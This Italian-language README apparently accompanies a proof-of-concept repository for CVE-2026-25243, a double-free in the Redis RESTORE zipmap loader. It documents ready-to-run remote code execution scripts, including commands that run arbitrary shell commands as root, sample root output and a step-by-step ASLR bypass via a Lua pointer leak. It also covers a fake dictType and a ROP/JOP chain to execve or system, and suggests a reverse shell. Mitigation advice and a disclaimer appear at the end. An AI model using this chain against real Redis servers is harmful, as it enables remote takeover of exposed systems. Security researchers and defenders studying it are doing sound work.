
CVE-2026-25243 — Redis RESTORE zipmap double-free → esecuzione remota di codice (ASLR attivo).
RESTORE zipmap double-free → esecuzione remota di codiceTL;DR. Un payload
DUMPmalformato passato aRESTOREinnesca una doppia free nell'heap nel loader legacy hash-zipmap di Redis. Con il jemalloc predefinito la doppia free è silenziosa (il server continua a funzionare), il che la trasforma in una primitiva type confusion controllabile. Questo repository la trasforma in esecuzione remota di codice con ASLR attivo — il worker Redis chiamasystem("<stringa dell'attaccante>")e continua a servire richieste. Non è un DoS.
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- execve("/bin/sh","-c",<cmd>) as the redis process
La fuga di informazioni che sconfigge l'ASLR non usa DEBUG — legge l'indirizzo della C-closure Lua redis.call (EVAL 'return tostring(redis.call)'), la stessa tecnica autonoma e senza DEBUG del nostro precedente exploit Redis. blob_base/blob_robj e la base PIE vengono poi derivati in fase di runtime dall'over-read (nessun offset fisso). Il finale PIE-ROP chiama execve@plt tramite uno stack-pivot JOP, quindi usa zero indirizzi libc — le uniche costanti specifiche della build sono gli offset dei gadget relativi alla PIE letti dal binario redis-server, esattamente come la tabella gadget per-build del nostro precedente exploit HLL. Verificato uid=0(root), ASLR attivo, 8/8, su un server predefinito con DEBUG disabilitato.
Sono previsti due finali.
poc_rce_aslr_pie_rop.py(sopra) è il più autonomo — nessuna libc, completamente auto-calibrato — maexecvesostituisce il worker (usa una reverse-shell con--cmd; ideale per una shell vera).poc_rce_aslr_selfcal.pymantiene vivo il worker (system()fa fork) al costo di due offset legati alla versione della libc. Scegli in base al fatto che il server debba sopravvivere.
RESTORE key 0 <DUMP-payload> deserializza un oggetto serializzato. Per il tipo legacy RDB_TYPE_HASH_ZIPMAP (0x09), il validatore e il convertitore non concordano su quanti byte occupi un campo di lunghezza:
zipmapValidateIntegrity() scorre con la dimensione effettiva codificata (5 per il prefisso sovralungo 0xFE);zipmapNext() durante la conversione zipmap → listpack usa 1 byte per qualsiasi lunghezza decodificata < 254.Una lunghezza piccola scritta nella forma sovralunga di 5 byte supera la validazione ma fa sì che zipmapNext() avanzi in modo errato di 4 byte. Dallo stesso avanzamento errato derivano due conseguenze: un over-read nell'heap (zipmap.c) e, solo in Redis, una doppia free nell'heap nel loader hash-zipmap di rdb.c:
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd took ownership of `field` -> freed here
sdsfree(field); // (2) freed AGAIN -> double-free
Valkey protegge tutto ciò (if (!field_added) sdsfree(field)); Redis a monte non lo faceva, quindi la doppia free è solo Redis. Il fix rifiuta la lunghezza corta codificata in forma sovralunga e riordina i controlli al momento del caricamento.
silent double-free -> type-confusion overlap -> arbitrary pointer-forge
-> forge a hashtable hash's dict->type to a fake dictType
-> HGET hd "<field>" == dictFind -> type->hashFunction(field)
libc path (selfcal): hashFunction = &system -> system("<cmd>") (worker survives)
PIE path (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
-> leave;ret pivots rsp onto the field
-> execve("/bin/sh","-c","<cmd>") via execve@plt (no libc, no DEBUG)
Il dictType falso viene piazzato all'interno di una stringa da 16 MB (SETRANGE) nell'unico offset i cui byte bassi dell'indirizzo corrispondono all'header sds della stringa dell'attaccante. L'ASLR viene sconfitto interamente in fase di runtime:
system — una singola leak di un puntatore all'heap. Il percorso consigliato è senza DEBUG: l'indirizzo della C-closure Lua di redis.call (EVAL 'return tostring(redis.call)') — la stessa leak autonoma usata dal nostro precedente exploit Redis. Le arene jemalloc si trovano a un offset costante rispetto alla libc, quindi system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT è solo una comodità da laboratorio quando scripting è disabilitato ma DEBUG è abilitato — la configurazione più rara.)SET così che il suo membro sia una sds SDS_TYPE_32 da 107 KB, SMEMBERS fa over-read sull'heap adiacente, e robj.ptr del blob viene letto al suo offset noto.Vedi WRITEUP.md per l'analisi completa primitiva-per-primitiva e i dettagli jemalloc / Redis-8.x conquistati a fatica (limite della classe 64, tagging delle entry del dict, mstr dei campi hash, pre-crescita del keyspace).
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243
# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2 # ASLR ON
redis-server & # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
DEBUG)La leak di un puntatore all'heap per il bootstrap segue lo stesso approccio del nostro precedente exploit Redis: si fa trapelare l'indirizzo della C-closure Lua redis.call con EVAL 'return tostring(redis.call)'. Lua scripting è attivo per impostazione predefinita; DEBUG è disattivato per impostazione predefinita (enable-debug-command no) — quindi la leak Lua è la via primaria realistica, e DEBUG OBJECT (poc_rce_aslr.py) è solo una comodità da laboratorio. poc_rce_aslr_selfcal.py poi deriva blob_base e blob_robj in fase di runtime dall'over-read (scansionando la firma del robj del blob da 16 MB), quindi DLUA/DFOBJ devono solo essere vicini.
Per il finale con system, l'over-read del piccolo heap non contiene puntatori libc, quindi la libc non può essere auto-derivata — poc_rce_aslr_selfcal.py mantiene due offset legati alla versione della libc (DLIBC, SYSTEM_OFF). Il finale poc_rce_aslr_pie_rop.py elimina del tutto questa dipendenza: lo stesso over-read contiene puntatori PIE (un dictType condiviso compare ripetutamente), quindi la base PIE viene auto-calibrata come most-common-PIE-value − DICTTYPE_OFF, e la catena termina in execve@plt tramite uno stack-pivot JOP (mov rbp,rdi; call *0x8(rax) → leave;ret sposta rsp sul campo HGET controllato dall'attaccante, che è la ROP chain execve("/bin/sh","-c",<cmd>)). Le uniche costanti specifiche della build sono gli offset dei gadget relativi alla PIE letti da — estraili per ogni target con /, esattamente come il nostro precedente exploit HLL associa una tabella di gadget a ogni ELF Build-ID. Non viene usato alcun indirizzo libc.
screenshots/05-pie-rop-libc-free.png (la self-cal NO libc + uid=0, l'esecuzione più autonoma), 01-rce-aslr-on.png (lo screenshot decisivo con uid=0), 02-reliability.png (5/5), 03-exploit-chain.png (il codice) e 04-debug-free-selfcal.png (l'esecuzione system senza DEBUG e auto-calibrante su un Redis predefinito).
RESTORE è un comando ordinario — su un Redis non autenticato/esposto (senza requirepass) qualsiasi client connesso può eseguirlo; su un'istanza autenticata, qualsiasi utente senza una regola ACL -restore di negazione. Lo stesso profilo di accesso dei comandi sulle strutture dati usati da altre RCE Redis.< {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} — cioè dalla 6.2.x fino alle 8.x attuali; Valkey è solo DoS/over-read (la sua guardia field_added blocca la doppia free).Aggiorna a una release corretta. Se non puoi: limita RESTORE (ACL … -restore), non esporre mai Redis senza autenticazione e disabilita DEBUG.
Ricerca di sicurezza autorizzata, pubblicata per la consapevolezza dei difensori. Non eseguire contro sistemi che non possiedi o su cui non hai esplicito permesso di test.
| file | cosa dimostra |
|---|
★ exploits/poc_rce_aslr_pie_rop.py | il più autonomo — RCE su un Redis predefinito (DEBUG disattivato), NESSUN offset libc; auto-calibra blob_base/blob_robj/pie_base; execve@plt tramite JOP pivot (il worker viene sostituito). 8/8. |
★ exploits/poc_rce_aslr_selfcal.py | sopravvivenza del worker — stessa catena ma hashFunction=&system (fork); costa due offset legati alla versione della libc (DLIBC/SYSTEM_OFF). Leak della Lua-closure, auto-calibrazione di blob_base/blob_robj. |
exploits/poc_rce_aslr_nodebug.py | senza DEBUG (leak Lua), ma con offset fissi (calibrati con DEBUG attivo) |
exploits/poc_rce_aslr.py | variante comoda per il laboratorio: leak di bootstrap con DEBUG OBJECT (richiede DEBUG abilitato) |
exploits/poc_rce_aslr_off.py | RCE con ASLR disattivato (indirizzi calibrati) |
exploits/poc_typeconfusion.py | doppia free → due chiavi condividono un buffer dell'heap (senza strumenti) |
exploits/poc_doublefree.py | la doppia free (ASan: heap-use-after-free in sdsfree) |
exploits/poc_dos_overread.py | il crash per over-read (ASan) |
redis-serverROPgadgetobjdump